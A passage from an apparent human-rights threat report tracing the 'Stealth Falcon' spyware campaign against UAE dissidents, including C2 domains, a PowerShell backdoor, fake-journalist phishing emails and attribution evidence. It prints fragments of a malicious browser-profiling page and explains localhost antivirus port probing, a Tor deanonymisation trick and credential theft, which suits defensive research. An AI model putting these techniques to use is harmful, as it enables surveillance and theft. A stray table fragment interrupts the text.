At the time, adhostingcache.com resolved to 95.215.44.37.
The domain was apparently deleted on November 30th 2015 (Donaghy received the malicious Word Document on November 24th 2015).
A new domain, adhostingcaches.com, was registered on December 3rd, which points to the same IP address.
The deletion of adhostingcache.com may reflect operator suspicion that the file received by Donaghy had been sent to security researchers.
The server response is a PowerShell command that decodes and materializes an invocation of a Base64-encoded PowerShell command to disk as IEWebCache.vbs, and creates a scheduled task entitled IE Web Cache that executes the file hourly (full script available in Appendix B: Stage Two PowerShell Command).
IEWebCache.vbs runs a Base64-encoded PowerShell command, which periodically POSTs a unique identifier to https://incapsulawebcache.com/cache/cache.nfo (via HTTPS without verifying the server certificate, and with a hardcoded user-agent header matching Internet Explorer 10.6).
The script executes server responses as PowerShell commands, responding back to the server with the exit status of, output of, or any exceptions generated by the commands.
This gives the operator control over the victims computer, and allows the operator to install additional spyware or perform other activities.
All commands and responses are encrypted using RC4 with a hardcoded key, and the encrypted message is prefixed with a hardcoded value.
Despite some similarities in functionality to the Empire backdoor,18 we were unable to identify any shared code, and we suspect that the backdoor is custom-made.
3.4.
Technical Analysis: aax.me Browser Profiling While aax.me has a public interface where anyone may shorten a link, aax.me only conducts browser profiling of individuals who click on links that are specially shortened by Stealth Falcon operators.
In November 2015, when we accessed the link in the second email that Donaghy received, http://aax.me/a6faa, we found that it redirected directly to https://cloud.openmailbox.org/index.php/s/ujDNWMmg8pdG3AL/authenticate via an HTTP 302 redirect.
When we accessed the link in the first email that Donaghy received, http://aax.me/d0dde, the server responded with the following page: iframe srcredirect.php height1 width1 border0 scrollingno frameborder0 unselectableyes marginheight0 marginwidth0 onloadsetTimeout(document.location \http://www.aljazeera.com/indepth/opinion/2015/11/british-pm-middle-east-human-rights- 151103070038237.html\, 20000)/iframebrbrbrcenterimg srcloading.gifbrLoading the website:brbhttp://www.aljazeera.com/indepth/opinion/2015/11/british-pm-middle-east-human-rights- 151103070038237.html/b.brThis may take a few seconds./center The page is apparently designed to redirect to an Al Jazeera op-ed after twenty seconds.19 However, the URL is incorrect: the last character of the filename should be a 1 instead of a 7.
Therefore, an Al Jazeera 404 page is returned instead of the op- ed.
It is possible that the use of 7 instead of 1 represents a transcription error on the part of the operators.
When we accessed this same aax.me URL in March 2016, it redirected directly to the Al Jazeera URL (with typo) via an HTTP 302 redirect.
The iframe, http://aax.me/redirect.php, reloads itself with a parameter inFr in its query string, to indicate whether the page has been opened up inside a frame.
htmlbodyscript typetext/javascriptif(windowwindow.top) inFr1elseinFr0document.locationdocument.location?inFrinFr/scriptnoscriptimg src?jSc0//noscript/body/html If the page has not been opened up inside a frame (inFr0), then a blank page is returned.
If the page is opened inside a frame (inFr1), as is the case here, then the following page is returned (we ommitted the PHPSESSID value): htmlhead/headbodydiv iddisplay height1 styledisplay:none/divform idstatsPost action?stats1 methodPOSTinput typehidden namePHPSESSID value /input idtheData nametheData typehidden value //formscript typetext/javascript srcredirect.js /script/body/html We examined the referenced JavaScript file, http://aax.me/redirect.js.
The file is designed to profile a users system, perhaps to gather intelligence about potentially exploitable vulnerabilities.
The file has apparently not been updated since 7 May 2013,20 rendering some of the probing obsolete.
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We enclose the files full contents in Appendix C: JavaScript Profiling File.
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We enclose the files full contents in Appendix C: JavaScript Profiling File.
The profiling performs the following actions: For Internet Explorer, it attempts to create several instances of ActiveXObject to get the versions of Flash, Shockwave, Java, RealPlayer, Windows Media Player, and Microsoft Office (classified as either 2003, 2007, or 2010).
For non-Internet Explorer browsers, it attempts to get a list of enabled plugins from navigator.mimeTypes.
For all browsers, it captures the user agent, whether cookies are enabled, the OS, the size of the browser window, and the timezone.
It classifies browsers into different versions, denoted by letters, based on the existence and behavior of certain JavaScript methods.
The script attempts to exploit an information leak in older versions of Tor Browser.
We explore the technique used in Section 3.5.
For Windows browsers (except Opera, and versions of Internet Explorer before IE9), it sends a series of XMLHttpRequests to 127.0.0.1, which we believe are designed to deduce if the computer is running any one of several specific antivirus programs.
The code for this appears to be borrowed from the JS-Recon port scanning tool.21 The creator of JS-Recon presented the tool at BlackHat Abu Dhabi in 2010.22 We explore such techniques in more detail in Section 3.6.
We were unfamiliar with the website aax.me, so we investigated it further.
We found that the main page of aax.me purported to be a public URL shortening service, powered by YOURLS,23 an open source PHP framework allowing anyone to set up their own URL shortening service.
We are unable to ascertain whether the site actually uses any YOURLS code.
We also noted that the homepage contains a typo (Shortend [sic] URL).
Figure 6: Homepage of aax.me We shortened a URL using the homepage, but found that clicking on the shortened URL did not trigger the loading of the intermediate page, http://aax.me/redirect.php.
We also did not find the code for redirect.php or redirect.js in the public code repository for YOURLS.24 Thus, we deduced that this code was likely specially written by the operators, and the link sent to Donaghy was likely created by someone with administrator access to aax.me.
3.5.
Technical Analysis: aax.me Tor Deanonymization Attempt The aax.me site appears to attempt to deanonymize users of Tor Browser.
While the technique the operators used was out-of- date at the time we observed the attack, the attempted Tor deanonymization speaks to their motivations and potential targets.
The script first detects Tor Browsers by checking whether navigator.buildID is set to zero (all testing was conducted on English, Windows builds of Tor Browser).
Versions of Tor Browser before 2.3.25-12 (released on 13 August 2013) had their buildID set to zero.
This behavior was originally introduced in TorButton,25 in support of the goal of making Tor users appear homogenous.26 Current Tor Browser versions have navigator.buildID set to a different distinctive value, 20000101000000.
When the script detects a Tor Browser, it attempts to deduce the version of Tor Browser by checking for the existence and behavior of certain JavaScript methods.
Once a browser is determined to be older than a certain version of Tor Browser, the script exploits a now-fixed bug to get the disk path of the browser installation.27 The disk path may contain the targets username, which may include the targets real name.
The bug in Tor Browser was first disclosed at Defcon 17, which took place in August 2009.28 The bug was first fixed on on 25 May 2012 in Tor Browser release 2.2.35-13.29 The bug was, however, later reintroduced into Tor Browser on 18 December 2013 with the release of Tor Browser 3.5, and subsequently fixed again in Tor Browser 3.6 on 29 April 2014.30 However, unfortunately for the operators, they failed to update their profiling script to reflect Tor Browsers navigator.buildID change (before the bug was reintroduced).
Thus, the profiling script did not detect Tor Browsers with the reintroduced bug as Tor Browsers, so it did not try to exploit them.
Even if it had been updated to reflect the navigator.buildID change, the version check in the Tor Browser exploitation code would also have to be updated to select the versions with the reintroduced bug for exploitation.
The version of Tor Browser (as determined by JavaScript checks) is submitted back to the server, along with the value of navigator.oscpu (which reveals the version of the OS on which Tor Browser is running - e.g., the latest version of Tor Browser on OSX El Capitan reveals: Intel Mac OS X 10.11), navigator.vendor (which appears blank in the latest Tor Browser), and any data gathered about the installation path.
3.6.
Technical Analysis: aax.me Antivirus Profiling Interestingly, aax.me also attempts to determine the presence of various antivirus products on a targets machine.
We expand on the probing of antivirus programs which we observed on aax.me, as we were unfamiliar with this technique.
The technique appears to work on any modern version of Windows, with the latest versions of Chrome, Firefox, and IE/Edge (though, the profiling script excludes IE versions less than IE9 from the profiling, using the vertical tab test).31 Specifically, the script conducts GET XMLHttpRequests (one at a time) to 127.0.0.1/ on the following ports: 12993, 44080, 24961, 1110, 6646, 6999, 30606.
The script stops conducting these requests if it finds one request whose readyState is set to 4 less than 20ms after the request was initiated (200ms for port 6646), and submits the number of this port to the server.
The latest versions of Internet Explorer/Edge, Chrome, and Firefox (except Tor Browser) will all perform these XMLHttpRequests to 127.0.0.1 on behalf of any site.
Of course, the result of such a request will most likely not be available to the script, due to the same-origin policy, and likely absence of a CORS32 header in the response.
Indeed, the script does not attempt to read the results of its requests.
Rather, it leverages the fact that the web browser makes the status of the request sent available, via the readyState parameter of an XMLHttpRequest instance (1 approximately represents TCP SYN sent, and 4 represents HTTP response received or TCP connection terminated).
For a closed port, Windows will issue an RST/ACK for each SYN sent.
However, it appears that Windows TCP stack will not consider an outgoing connection it is initiating to be terminated until it has sent 3 SYNs, and received three corresponding RST/ACKs (or timeouts).
Figure 7: Three RST/ACKs required until Windows considers outgoing TCP connection terminated When testing with a TCP connection from Windows to a remote host, we can clearly see that Windows transmits the second SYN 500ms after the first RST/ACK, and the third SYN 500ms after the second RST/ACK.
Figure 8: Windows sends the next SYN 500ms after the latestRST/ACK Thus, the readyState value for a request to a closed port on 127.0.0.1 will not be set equal to 4 until approximately 1000ms after the request is issued.
In summary, one can use this technique to distinguish between a closed port (readyState set to 4 at around 1000ms), an open port (readyState set to 4 before 1000ms), and a filtered port (readyState set to 4 long after 1000ms).
This script was apparently designed to detect the presence of certain components of Avast, Avira, ESET, Kaspersky, and Trend Micro antivirus products.
We were not able to determine which program the probing of port 24961 was designed to detect.
We verified that the latest version of Avast can be detected by this script, as it opens TCP port 12993, which is associated with its Mail Shield component for scanning email traffic port 6999 is opened by Trend Micros tmproxy33 which scans web and email traffic port 1110 is used by Kaspersky 34 to scan web and email traffic it appears that Aviras Web Protection component for scanning web traffic used to open port 44080, 35 though we observed it opening 44081 instead port 30606 appears to have been used by ESET to scan web and email traffic, 36 but we did not observe this port open while testing the latest version of ESET port 6646 may be used by McAfee, though we did not test this.
37 The code for the port scanning appears to be adapted from the JS-Recon port scanning tool.
38 JS-Recon is a generic tool that enumerates all open ports on 127.0.0.1 in a range it does not specifically target anti-virus programs.
The scan_xhr and check_ps_xhr functions in the aax.me profiling script are similar to the scan_ports_xhr and check_ps_xhr functions in JS- Recon.
The creator of JS-Recon seems to have first presented the tool at BlackHat Abu Dhabi in 2010.
39 Figure 9: Image from the author of JS-Recon showing how long WebSocket and XMLHttpRequest (COR) connections remain in their initial readyState on Windows.40 Note that this technique can be generalized to any remote content timing side channel (e.g, the onerror event for an Image).
Additionally, one can identify the presence of an open port on 127.0.0.1 that speaks HTTP without using timing information, and thus without the Windows TCP behavior assumption (e.g., by handling the onerror and oncomplete events of certain types of link elements).
We are unsure whether the purpose of the antivirus profiling is to identify potentially exploitable antivirus software running on a targets computer, or for evasion of antivirus products.
In December 2015, Google Security discovered a critical vulnerability in Avasts antivirus product, which involved a webpage sending HTTP requests to a port that Avast opens on 127.0.0.1.
Google Security demonstrated that the vulnerability allowed exfiltration of arbitrary files from a victims disk.
41 In January 2016, Google Security discovered a critical vulnerability in Trend Micros antivirus product, which similarly involved a web page sending HTTP requests to a port that Trend Micro opens on 127.0.0.1.
Google Security demonstrated that the vulnerability allowed arbitrary command execution.
4.
The Case of the Fake Journalist In the course of our investigation we scanned the e-mail of journalist Donaghy and found evidence that he had been contacted by a fictitious journalist, whom we linked to Stealth Falcon.
We scanned Donaghys GMail account for any previous messages featuring links that redirected through aax.me.
We identified the following message from December 2013, purporting to be from a UK journalist named Andrew Dwight: From: andrew.dwight389outlook.com Subject: FW: Correspondence Request Greetings Mr. Donaghy, I have been trying to reach you for comment and I am hoping that this e-mail reaches the intended recipient.
My name is Andrew Dwight and I am currently writing a book about my experiences in the Middle East.
My focus is on human factors and rights issues in seemingly non-authoritarian regimes (that are, in reality, anything but).
I was hoping that I might correspond with you and reference some of your work, specifically this piece (http://goo.gl/60HAqJ), for the book.
Im quite impressed with the way you articulate this complex issue for the masses, and hope to have a similar impact with my book.
Happy New Year, Andrew The link in the email, http://goo.gl/60HAqJ, redirects to http://aax.me/0b152, which, as of December 2015, redirected to a 2013 Huffington Post blog post authored by Donaghy.
42 We did not observe any redirect.php behavior with this link as of December 2015, the aax.me link directly served an HTTP 302 redirect to the Huffington Post (we omitted the date header below).
However, it is possible that the link formerly exhibited redirect.php behavior: HTTP/1.1 302 Moved Temporarily Date: Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g X-Powered-By: PHP/5.2.6-1lenny13 Location: http://www.huffingtonpost.co.uk/rori-donaghy/uae-94_b_3549671.html Vary: Accept-Encoding Content-Type: text/html We found that Donaghy had responded to this message shortly after receiving it, offering to meet in-person with Andrew in the UK.
Andrew responded several weeks later with the following: From: andrew.dwight389outlook.com Subject: RE: Correspondence Request Hello Rori, Happy New Year I apologize for the delay in getting back to you.
I was on a ski holiday in upstate New York for the New Year and just returned to my current accommodations in the city.
I was due back sooner, but as you may know, the weather has not been agreeable here in the Eastern United States I am currently situated in the US.
while I complete my book to be closer to my publisher and editor.
The book focuses on the various guises used by Middle Eastern countries to demonstrate that they are providing equal and fair treatment with concern to human rights.
I am working with several organizations in identifying cases that reveal their true lack of concern for liberty and personal freedoms.
Im using these cases as testimony about this under reported issue.
Have you heard of a Swedish organization named Al Karama?
There website: http://en.alkarama.org/index.php?optioncom_contentviewarticleid1005Itemid74slid102 I have spoken to one of their junior editors and I am hoping to obtain input from some of their sources as well.
This issue never gets any smaller does it?
I hope that a few loud voices (and a well received book) can make a difference.
Cheers, Andrew While attempting to determine whether Andrew Dwight was a real person, we we found a Twitter profile, Dwight389 for the same persona, and that mentions the same address from which Donaghy received the email.
Figure 10: Andrew Dwights Twitter profile, Dwight389, mentioning the email address that corresponded with Donaghy in 2013, andrew.dwight389outlook.com We found that this account messaged three UAE dissident accounts via Twitter mentions.
While we were unable to establish if Dwight389 successfully attacked any of these individuals, we profile the targets below.
4.1.
Another Target: Obaid Yousef Al-Zaabi This section describes how the fake journalist persona contacted Obaid Yousef Al-Zaabi, a blogger who was arrested for criticising the UAE.
Figure 11: Dwight389 contacted bukhaledobaid on 24 April 2013 Obaid Yousef Al-Zaabi was arrested on 2 July 201343 for Tweeting about the UAE94 detainees (94 defendants prosecuted in a mass trial on charges of attempting to overthrow the government)44 on his bukhaledobaid account, which displays his real name.45 He was released due to health problems a month later, but was arrested again on 12 December 2013,46 a day after talking to CNN47 about the condition of US citizen Shezanne Cassim, imprisoned for making a parody video48 about youth culture in Dubai.49 Al-Zaabi and Cassim were imprisoned in the same cellblock.
Al-Zaabi was acquitted on 23 June 2014 of all charges including slander concerning the rulers of the UAE using phrases that lower their status, and accusing them of oppression and disseminating ideas and news meant to mock and damage the reputation of a governmental institution, but, according to information received from two UAE sources, Al-Zaabi is still imprisoned in the prisoners ward of a hospital.
A coalition of 13 human rights organizations including Amnesty International consider Al-Zaabis ongoing detention to be arbitrary, and without legal basis.50 Amnesty International reported that a senior State Security Prosecution official told Al- Zaabi he would continue to be detained even if acquitted.51 Al-Zaabis brother, Dr. Ahmed Al-Zaabi, is one of the UAE94 detainees and is currently serving a 10 year prison sentence.
According to a report by the Gulf Center for Human Rights, Ahmed was tortured in prison: his fingernails were pulled out, and he was beaten to the point he was left swollen, covered in bruises all over his body and with large amounts of blood in his urine.52 4.2.
Another Target:Professor Abdullah Al-Shamsi This section describes how the fake journalist persona contacted professor Abdullah Al-Shamsi, Vice Chancellor of the British University in Dubai.
Figure 12: Dwight389sent a message on 9 May 2013 suggesting he had targeted shamsiuae58 Professor Abdullah Al-Shamsi (shamsiuae58) is the Vice Chancellor of the British University in Dubai.53 He (Arabic name: .. )54 is signatory 79 (out of 133) to a March 2011 petition to the UAE government55 for direct elections56 (UAE activist Ahmed Mansoor was arrested after signing the same petition).57 Al-Shamsis father ( ) was appointed to, and chaired the first sessions of, the Federal National Council (FNC), a legislative advisory council that is now an elected body.
He called for more powers to be given to the FNC.58 4.3.
Additional Targets: Qatari Citizens Sentenced to Prison Figure 13: Dwight389contacted northsniper on 7 November 2013 In May 2015, five Qataris were sentenced (one present in the UAE to 10 years in prison, and four in absentia to life in prison), for posting allegedly offensive pictures of the UAE Royal Family on three Twitter accounts and two Instagram accounts, 59 including northsniper.
60 At trial, the prosecution accused the five of being agents of Qatars State Security, and posting the allegedly offensive pictures as part of a military mission to show that Emiratis had offended their own leaders.
61 The northsniper account is currently suspended.
One Instagram account allegedly used by defendants in this case (9ip) is still active, and still appears to display unflattering photoshopped images of the President, Crown Prince, and Founder of the UAE.
62 5.
Stealth Falcons Widespread Targeting of UAE Figures This section describes how we identified additional Stealth Falcon victims and bait content, and traced Stealth Falcons spyware to additional C2 servers.
Given Stealh Falcons use of public Twitter mentions to contact individuals, we searched Google and Twitter for instances of aax.me links.
The links we found indicated that we could easily probe aax.me to get a comprehensive list of all currently active short URLs, and their corresponding long URLs.
Our findings point to a UAE-focused operator, whose bait content and targets are linked to the Emirates.
Furthermore, we were able to connect this attack to case from December 2012, where an anonymous UAE activist contacted us and claimed to have received a suspicious link from a Twitter account that was purportedly under government control.
5.1.
Public Targets and Links to Arrests This section describes 24 Stealth Falcon Twitter targets we identified on the basis of them receiving an aax.me link in a Twitter mention.
We found aax.me links targeting 24 accounts, each of whom was mentioned in a tweet that also contained an aax.me shortened link.
We were unable to get details about 17 of the accounts.
Of the accounts we have been able to identify, several individuals were subsequently arrested or convicted in absentia by the UAE Government in relation to their online activities.
The following table outlines these cases, and notes arrests.
For completeness, the table includes the cases from Section 4.1- 4.3: Handle Targeting Related Arrests / Convictions Note omran83 14 January 2012 63 16 July 2012 64 (arrested) UAE94 prisoner serving 7 years in prison.
65 weldbudhabi 5 August 2012 66 20 October 2012 67 14 December 2012 68 (arrested) intihakat 5 August 2012 69 25 December 2013 70 (convicted) Qatari convicted in absentia sentenced to 5 years in prison.
bukhaledobaid (Sec 4.1) 24 April 201371 2 July 201372 12 December 201373 (arrested) Brother of UAE94 prisoner acquitted of charges indefinitely detained in prisoners ward of hospital.
northsniper (Sec 4.3) 7 November 201374 18 May 201575 (convicted) Five Qataris convicted sentences ranged from 10 years to life in prison.
71UAE 9 January 201276 Last tweeted 1 July 2013, a day before arrest of bukhaledobaid.
kh_oz 10 January 201277 Likely son of bukhaledobaid.78 shamsiuae58 (Sec 4.2) 9 May 201379 Signed 2011 pro-democracy petition that Ahmed Mansoor was arrested after signing.
newbedon 9 January 201280 Donaghy describes the account as ensur[ing that] details of mistreatment [by security forces] are readily available.81 bomsabih 9 January 201282 Inactive since 8 October 2014.
Owner claimed affiliation with State Security Apparatus.
|
126
|
See Appendix E: Results of aax.me Scan for details.
| 28,941
| 29,066
| 126
|
data/reports_final/0126.txt
|
See Appendix E: Results of aax.me Scan for details.
We coded 133 URLs as advertisement (25 of all coded URLs), as they appeared to represent an advertisement for a product.
The vast majority of these advertisements seemed to be products typically marketed via spam (e.g., dietary supplement or green coffee).
We suspect that these links may have been shortened by spammers, as the aax.me URL shortening page is pubilcly accessible and indexed by Google, and YOURLS advises that publicly accessible URL shorteners will receive spam.83 All advertisement links were 302 redirects, and none were redirect.php links.
This is consistent with our observation that the aax.me public interface only permits visitors to shorten links using the 302 redirect method.
We filtered out the short URLs classified as advertisement.
There were 402 non-advertisement short URLs that we tagged.
We display a summary of the top ten tags below: Tag Number of Short URLs of non-advertisement URLs UAE 292 73 Torture 57 14 Security Forces 49 12 Denaturalization 46 11 Isa bin Zayed 42 10 Rule of Law 40 10 Criticism 40 10 ABC News 40 10 Violations 33 8 Islam 29 7 We noted that a number of long URLs had multiple corresponding short URLs.
We display the top ten long URLs below.
Long URL Short URLs Description http://www.youtube.com/watch?vF6NU4pc378k 40 ABC News report featuring video of Abu Dhabi Crown Princes brother, Sheikh Isa bin Zayed al-Nahyan, torturing an Afghani grain salesman.
http://mohaamoon.com/uae/17.htm 40 Personal website criticizing rule of law and human rights issues in the UAE, including torture, slavery, and imprisonment for debts.
https://r7aluae2.wordpress.com/2012/01/09/- ----/ 19 Copied statement from the Federation of Islamic Organizations in Europe (FIOE), criticizing the UAEs denaturalization of citizens.
https://www.a7rarelemarat.com/vb 10 Purported to be an opposition web forum for discussing Emirati issues, and providing proxy tools.
The site is now down, so we cannot inspect the specific forum posting.
http://google.com 9 Google.
https://www.a7rarelemarat.com/vb/showthread.php?p3423post3423 6 (see a7rarelemarat above) http://www.youtube.com/watch?vXcc9Tdc_Hxgfeatureplayer_embedded 5 Video montage talking about torture by UAE security forces.
http://www.youtube.com/watch?
vizeSn9Am6uslistUU2wwG6r1J_GRgXuMGi9m8FQindex1featureplcp 5 Video unavailable.
https://www.youtube.com/watch?featureplayer_embeddedvQ3aQpfyXSrg 5 Video published by Al Islah, which appears to be a montage of UAE political detainees.
https://www.a7rarelemarat.com/vb/forumdisplay.php?f3 5 (see a7rarelemarat above) 5.3.
A Connection to an Account Potentially Under UAE Government Control This section describes a case from December 2012 where an Emirati activist said he received links connected to aax.me from an account that may have been under UAE government control.
In December 2012, an author of this report was contacted by an Emirati activist, who reported that an account, WeldBudhabi, had sent him a link on 14 December 2012 via Twitter direct message that took him to a page on a7rarelemarat.com.
A report by BBC notes that UAE authorities on 14 December 2012 arrested an individual who they believed to be associated with WeldBudhabi, and that the account was reportedly hacked by the authorities on the same day.84 The Emirati activist told us that he later contacted WeldBudhabi, who reported that he did not send the link.
This link provides the strongest connection between Stealth Falcon and the UAE Authorities that we are aware of.
a7rarelemarat.com is a now-defunct website that purported to be an opposition web forum for discussing Emirati issues, and providing proxy tools for hiding from the thugs (presumably a reference to the UAE State Security Apparatus).
We found four links involving aax.me posted by the sites Twitter account, a7rarelemarat.
We display two Tweets below, as the rest of the Tweets had the same links: Figure 14: a7rarelemarat targeted WeldBudhabi with a malicious link on 20 October 2012 Twitters API records the date of the tweets creation: Sun Oct 21 05:05:41 0000 2012 We also accessed the goo.gl link statistics, and found that the goo.gl link in the tweet was created less than two minutes prior to the tweet: 2012-10-21T05:03:45.58500:00 The second tweet exhibited a similar pattern: Figure 15: a7rarelemarat publicly sent a malicious link on 2October 2012 Twitters API records the date of the tweets creation: Wed Oct 03 06:54:33 0000 2012 We again accessed the goo.gl link statistics, and found that the goo.gl link in the tweet was created less than one minute prior to the tweet: 2012-10-03T06:53:45.15100:00 The link redirects to https://www.a7rarelemarat.com/vb/showthread.php?p3423post3423 via http://aax.me/d910a.
The use of both goo.gl and aax.me in these cases suggests that the goo.gl link may have been designed to conceal the aax.me domain.
Also, the proximity in creation time between the Tweet and the goo.gl link suggests that the person who posted the Tweet through a7rarelemarat was likely the same person who created the goo.gl link.
We suspect that the aax.me operator had some control over a7rarelemarat at the time, and may have had control of a7rarelemarat.com as well.
5.4.
Infrastructure Analysis of Stealth Falcon Command Control This section describes how we traced Stealth Falcons spyware to live C2 servers and domain names.
We fingerprinted the behavior of adhostingcache.com (the C2 server for the Stage One spyware that Donaghy received) and traced it to a series of 14 active IP adresses and 11 domains (using PassiveTotal85).
Nine domains are named like generic Internet backend servers (e.g., simpleadbanners.com, clickstatistic.com), whereas two appear to be thematically related to travel (bestairlinepricetags.com, fasttravelclearance.com), perhaps indicative of travel-themed targeting or targets.
We fingerprinted the behavior of incapsulawebcache.com (the C2 server for the Stage Two spyware that Donaghy receied) and scanned the Internet (including historical scanning results86) for servers that matched our fingerprint.
We also used Passive DNS to correlate IP addresses to domains.
In total, we associated 67 active (and 30 historical) IP addresses with the Stage Two spyware.
Using PassiveTotal, we linked 69 domain names to these IP addresses, the earliest registered on 28 January 2013, and the most recent registered on 19 April 2016.
The vast majority of the domains are named like generic Internet backend servers.
One domain name appears to be travel-themed (airlineadverts.com), and two appear to be news and/or government themed (ministrynewschannel.com, ministrynewsinfo.com).
The earliest date we found an IP addresses matching our Stage Two fingerprint was 21 July 2014, as recorded by sonar-ssl scans.
It is possible that the operator used a different configuration of spyware between January 2013 and July 2014.
We traced several additional domains to Stealth Falcon using WHOIS information, or Passive DNS.
Of these, one was designed to impersonate a China-based provider of VoIP solutions (yeastarr.com), and two appeared to perhaps contain the Arabic word for security, amn, (amnkeysvc.com, amnkeysvcs.com).
Full scan results and other indicators of targeting can be found in Appendix F: Indicators of Targeting.
The domain names we found were typically registered with WHOIS privacy providers.
Although, in some cases, we were able to obtain the true registration email through historical WHOIS.
Typically, the operators practiced disciplined operational security: we rarely found an email address that was used to register two domains, and we rarely found two domains linked to the same IP address.
5.5.
May 2016: New Stealth Falcon Document In May 2016, the following document was submitted to VirusTotal: Filename: message_032456944343.docm MD5: 87e1df6f36b96b56186444e37e2a1ef5 SHA1: 1c3757006f972ca957d925accf8bbb3023550d1b SHA256: 4320204d577ef8b939115d16110e97ff04cb4f7d1e77ba5ce011d43f74abc7be The document was similar to the one sent to Donaghy, except that it purported to be encrypted with WordSecure, a simple, HIPAA .. business-grade software for sharing encrypted files and secure messages with anyone.87 The bait content was a single line of text reading: MESSAGE_ERROR: 0E684AD042_(LANGUAGE NOT SUPPORTED) The documents macro was identical to the one sent to Donaghy, except it reported back to, and downloaded Stage Two from a different URL: http://optimizedimghosting.com/wddf/hrrw/ggrr.txt.
The server optimizedimghosting.com matched our Stage One fingerprint for adhostingcache.com.
We obtained Stage Two, which appeared to be a newer version of the Stage Two than in Donaghys case.
The Stage Two in this case reported back to https://edgecacheimagehosting.com/images/image.nfo.
The server edgecacheimagehosting.com matched our Stage Two fingerprint for incapsulawebcache.com.
When we connected, the Stage Two server sent us additional commands (which we were unable to obtain in Donaghys case).
The Stage Two C2 sent us a bundle of 7 commands, that did the following: 1.
Gathered system info from WMI 2.
Gathered the ARP table 3.
Gathered a list of running processes 4.
Materialized a file OracleJavaUpdater.ps1 to disk.
This file gathers passwords and web browser data from a variety of sources: Windows Credential Vault, Internet Explorer, Firefox, Chrome, Outlook.
In general, the file appears to be bespoke attacker code, though some routines are copied from other sources (e.g., some Internet Explorer password gathering code appears to be lifted from the GPLv3-licensed QuasarRAT 88 ) 5.
Executed OracleJavaUpdater.ps1 6.
Deleted OracleJavaUpdater.ps1 7.
Gathered a list of running processes again After command execution, results were returned to the Stage Two C2.
6.
Tip of the Iceberg: Possibly Related Attacks We suspect that the activity we have observed is simply the tip of the iceberg in ongoing attacks against dissidents in the UAE.
Reuse of tactics, techniques and procedures and general carelessness by operators can often lead to discovery of links between campaigns.
We briefly discuss some instances of potentially related attacks below.
6.1.
An Instagram attack?
We noticed that one of the Twitter accounts that sent out aax.me links, um_zainab123, solicited followers for an Instagram account al7ruae2014.
Figure 16: um_zainab123soliciting followers for Instagram account al7ruae2014 on 26 April 2014 Figure 17: The al7ruae2014 Instagram account We contacted an activist with knowledge of the UAE94 case, who told us that the al7ruae2014 Instagram account got in touch with several family members of detainees involved in the case, and was soliciting information from them via Instagram private message.
The domain name al7ruae2014.com has the same name as the Instagram account, so we suspect it may also be related to the operator.
6.2.
A fake file sharing site?
We identified one aax.me link (http://aax.me/4b708) that points to http://velocityfiles.com/download.php?
ida81abdd8a0c0cd1d5d3b6baadcc9eb18.
We visited this link in February 2016, and were served a blank page.
VelocityFiles appears to have been disabled in March 2016.
We found that the site purported to be a file hosting site, where users could register and upload files.
However, the registration and signup pages are currently blank, and were blank as of the Internet Archives oldest capture of the pages in December 2013.
89 We were unable to identify any links to velocityfiles.com from Twitter, or any pages indexed by Google.
The design of VelocityFiles appeared to be a loosely modified version of a public website design template.
90 Given that the site appears to be designed to pose as a public file sharing service, has no obvious public functionality, and was linked to through aax.me, we suspect that it may have been an attack site.
Figure 18: Comparison between web design template image (left) and VelocityFiles website (right).
Given VelocityFiles reference to FREE MD5 HASHING (their emphasis), it is possible that the value of the id parameter in the URL, a81abdd8a0c0cd1d5d3b6baadcc9eb18, represents the MD5 hash of a file.
We were, however, unable to locate any file with this MD5 hash.
6.3.
Fake web forums?
We found an aax.me link 91 that pointed to https://call4uaefreedom.com/vb.
The domain was registered on 5/15/2013 and expired on 5/15/2015.
We were unable to find any webpages or tweets linking to this website.
A Google search for call4uaefreedom reveals a blog, containing five posts, all within a 30 minute span on 4 June 2013, and an empty Twitter account call4uaefreedom, created in May 2013.
Given the suspicious activity associated with the alias call4uaefreedom, this may have been created by operators.
While searching for domains with similar domain names, we came across uaefreedom.com.
The domain name was first registered on 11 June 2010 by the administrators of UAE Hewar, 92 an online discussion forum founded in 2009 that was a frequent government target.
The domain name expired on 11 June 2011, but was re-registered by a different registrant on 7 October 2012.
On 16 October 2012, we find the only tweet linking to uaefreedom.com.
A Google search yields no links to the site and we found no passive DNS data available for this domain.
The tweet was sent from account FreeUAE2012, directed at uaemot.
An individual based in Qatar was convicted in absentia on 25 December 2013 for running uaemot.93 Figure 19: FreeUAE2012 contacts uaemot with a suspicious link on 16 October 2012 Other public tweets involving FreeUAE2012 included two responses94 from Ahmed Mansoor to FreeUAE2012 on 10 October 2012, regarding the 10 October 2012 Citizen Lab report about how Ahmed Mansoor was targeted with Hacking Team spyware.
The tweets from FreeUAE2012 to which Ahmed Mansoor was responding appear to have been deleted.
Three days later, FreeUAE2012 attempted to convince Ahmed Mansoor that Tor Browser logged private information of its users, posting a screenshot of the Tor Metrics page, which provides non-sensitive data for researchers.95 Figure 20: FreeUAE2012 attempts to convince Ahmed Mansoor that Tor logs private information of its users 7.
Attribution In this section, we analyze two competing hypotheses about the identity of Stealth Falcon, and conclude that the balance of evidence suggests Stealth Falcon may be linked to the UAE government.
Hypothesis 1: Stealth Falcon is State Sponsored Stealth Falcon is a sophisticated threat actor, capable of deploying a wide range of technical and social engineering techniques against a potential target.
The operations targeting Donaghy are linked to a series of primarily UAE-focused campaigns against UAE dissidents, starting in January 2012.
While there is no smoking gun, several pieces of evidence suggest a connection between Stealth Falcon and the UAE Government.
UAE Focused Targeting, Links to Arrests The majority (73) of bait content on aax.me was focused on UAE-related political issues (Section 5.2).
Furthermore, of the 27 victim Twitter accounts we linked to public Stealth Falcon targeting, 24 primarily engaged in political activities, or were otherwise critical of the UAE government (Section 5.1).
Of these 24, we were able to find a subsequent arrest or a conviction in absentia by the UAE government.
Tweets During a Period of Government Control A reported case in which a Twitter account apparently under UAE Government control shared a Stealth Falcon link also suggests a connection.
In December 2012, an activist contacted us and asserted that an a7rarelemarat.com link was sent to him in a private message from the WeldBudhabi account the same day that an individual accused of operating the account was arrested, and while the account was reportedly hacked by authorities.
96 The activist asserted that he contacted an owner of the account, who claimed he did not send that link.
The Twitter account associated with a7rarelemarat.com, a7rarelemarat, appears to have been under the control of Stealth Falcon at some point during October 2012 (and possibly before and after), as the account sent several aax.me links in October 2012.
Sophisticated Target Knowledge and Operational Security Stealth Falcon demonstrates some familiarity with the patterns of behavior, interests, and activities of its targets, suggesting that the operators may have been working with other sources of information about their targets behaviors.
In addition, Stealth Falcon displayed above-average operational security throughout the campaign.
